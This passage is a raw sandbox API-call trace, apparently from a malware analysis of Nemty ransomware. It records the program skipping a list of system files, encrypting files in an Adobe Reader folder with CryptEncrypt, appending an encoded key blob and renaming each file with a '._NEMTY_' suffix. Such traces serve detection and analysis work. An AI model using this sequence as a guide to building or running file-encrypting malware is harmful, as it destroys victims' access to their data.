ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9586, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0173.826] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0173.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0173.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0173.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0173.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0173.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0173.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.827] Sleep (dwMilliseconds=0x5) [0173.828] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1b41be50, dwHighDateTime=0x1d561e8)) [0173.828] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1b41be50, dwHighDateTime=0x1d561e8)) [0173.828] GetLastError () returned 0xb7 [0173.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.829] GetLastError () returned 0xb7 [0173.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.829] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0173.829] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0173.829] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0173.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0173.829] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="jMuCEF/+DoGKg1DmxzWeYSlhM2KtKfC1wZSfoaYmrofNLxf77bLTqpGiROEbKDOO\r\n+u6mQ3o0lZc1Nm+8VXhk6FRgNsOJe0RBHSXpkOYa4nMX8yDVIqm8Ect1uVXSzmXD\r\nG+vcwvakg5TOWaytZng93AdKkVqmjEWPlI9ytSWS3AjSC6OEu3nfy5ggNIvOCY3o\r\n3USP6u/9/QbKa7BJMUP7qih5ZFfRthkDsm/rngQ/ccU1ABv9uis+oFLAAF8DG3cO\r\npqhjscFLBxRYK800gZ/BihmKAAUyGQ15GADJ+9zTTYNGk81+aLnnHi4+ZSqUdIHE\r\nE2m5NAdr0mT4X7lw+29CWA==\r\n", pcchString=0x653e29c) returned 1 [0173.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0173.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0173.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.829] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0173.830] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=38278) returned 1 [0173.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9580) returned 0x6352c48 [0173.830] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.830] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9580, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x9580, lpOverlapped=0x0) returned 1 [0173.834] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.834] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9580, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x9580, lpOverlapped=0x0) returned 1 [0173.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.834] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=38278, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9586 [0173.834] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0173.834] CloseHandle (hObject=0x2f0) returned 1 [0173.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0173.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0173.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0173.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0173.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.834] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0173.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0173.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0173.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0173.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.835] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0173.835] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0173.835] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0173.835] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0173.835] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0173.835] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0173.835] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0173.835] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0173.835] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0173.835] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0173.835] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0173.835] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0173.835] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0173.835] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0173.836] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0173.836] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0173.836] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0173.836] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0173.836] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0173.836] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0173.836] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0173.836] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0173.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0173.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0173.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0173.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0173.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0173.836] Sleep (dwMilliseconds=0x5) [0173.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1b441fb0, dwHighDateTime=0x1d561e8)) [0173.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1b441fb0, dwHighDateTime=0x1d561e8)) [0173.844] GetLastError () returned 0x0 [0173.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.844] GetLastError () returned 0x0 [0173.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.844] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0173.845] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0173.845] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0173.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0173.845] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="lVRW1zWNfExzb7y07NrAWwyThNGZrc3fuurOuaQKFo3zY7vgz3FmSQLj2nVC4bC1\r\nFdxOVfXtcvQ9YEoq157g5X+q5gMxBt49KVaLU3erWpWZh0Pf/i9pI/9bD4MmCPl8\r\netF9aWnrx0HSfna6vS5UL+i4/ivCY91jszWQFzTjpKqECOJDltdHuyjwmk8WaFGN\r\n52Mqy2+q2bsg0dxT8nH6jW4GOeSXhjrxVS1oiMGaaZ0jDDfe1FoI7HwwPNMYxsFB\r\nlyC2bGeu5jUvMxdsVUOj1RK5dbf/33qnsbcT8669njmKfXeHZ8MYaW/p4uzN0h0v\r\nUFxoA8eb4VXyfJTE+9IVTQ==\r\n", pcchString=0x653e29c) returned 1 [0173.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0173.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0173.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.845] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0173.847] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=232) returned 1 [0173.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0173.847] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.847] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0173.848] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.848] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0173.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0173.848] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8 [0173.848] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0173.848] CloseHandle (hObject=0x2f0) returned 1 [0173.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0173.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0173.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0173.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0173.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.849] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0173.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0173.851] 